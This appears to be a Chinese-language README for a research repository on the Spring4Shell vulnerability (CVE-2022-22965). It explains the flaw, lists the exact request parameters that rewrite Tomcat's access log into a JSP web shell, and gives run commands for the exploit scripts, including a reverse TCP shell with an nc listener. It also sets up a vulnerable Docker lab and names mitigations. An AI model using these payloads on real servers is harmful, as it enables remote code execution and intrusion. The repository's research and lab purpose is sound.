描述
免责声明: 本仓库仅供教育和研究目的使用。 所有利用脚本必须仅针对您拥有或已获得明确书面授权测试的系统。作者不对因使用本材料造成的任何滥用或损害负责。
针对 CVE-2022-22965 的研究与概念验证,这是一个于 2022 年 4 月公开披露的严重 Spring Framework 远程代码执行(RCE)漏洞。
Spring4Shell 影响 Spring MVC 和 Spring WebFlux 应用程序,当以下所有条件同时满足时:
| 条件 | 值 |
|---|---|
| JDK 版本 | 9 或更高 |
| 应用服务器 | Apache Tomcat |
| 打包方式 | WAR(非可执行 JAR) |
| Spring Framework | < 5.3.18 或 < 5.2.20 |
Spring 的数据绑定机制允许 HTTP 请求参数通过点号表示法(例如 user.name=foo)映射到 Java 对象属性。漏洞的根源在于此遍历未得到适当限制——攻击者可以通过模型对象的类层次结构访问 JVM 的 ClassLoader:
class.module.classLoader.resources.context.parent.pipeline.first.<属性>
该路径到达 Tomcat 的 AccessLogValve,其日志配置可以在运行时被篡改。通过修改 pattern、directory、prefix 和 suffix 等属性,攻击者可将 Tomcat 的访问日志重定向为写入一个包含任意 JSP 代码的 .jsp 文件,从而在服务器上植入 Web Shell。
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP 载荷>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat 将访问日志写入 webapps/ROOT/shell.jsp,其中包含注入的载荷
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
# Web Shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# 反向 Shell(先启动监听:nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven 或 sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# 选项1 — 使用预构建的 Tomcat 镜像
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# 选项2 — 从 openjdk 构建并下载 Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
然后应用程序可通过 http://localhost:8082/vulnerable 访问。
WebDataBinder.setDisallowedFields() 阻止 classLoader 绑定class.、Class.、module. 或 classLoader 的参数原始研究与利用代码由 @march0n 提供。 本仓库是我个人出于学习目的对该漏洞的研究,并附有额外的文档和分析。
| 脚本 | 方法 | 载荷 | 备注 |
|---|
exploit1.py | POST | Web Shell(密码保护) | 单次请求 |
exploit2.py | POST | Web Shell | 利用前后重置日志配置 |
exploit3.py | GET | Web Shell(无密码) | 参数通过查询字符串传递 |
exploit4.py | GET | 反向 TCP Shell | 基于 msfvenom 的 JSP 载荷 |
exploit4b.py | POST | 反向 TCP Shell | 与 exploit4 相同的载荷,POST 变体 |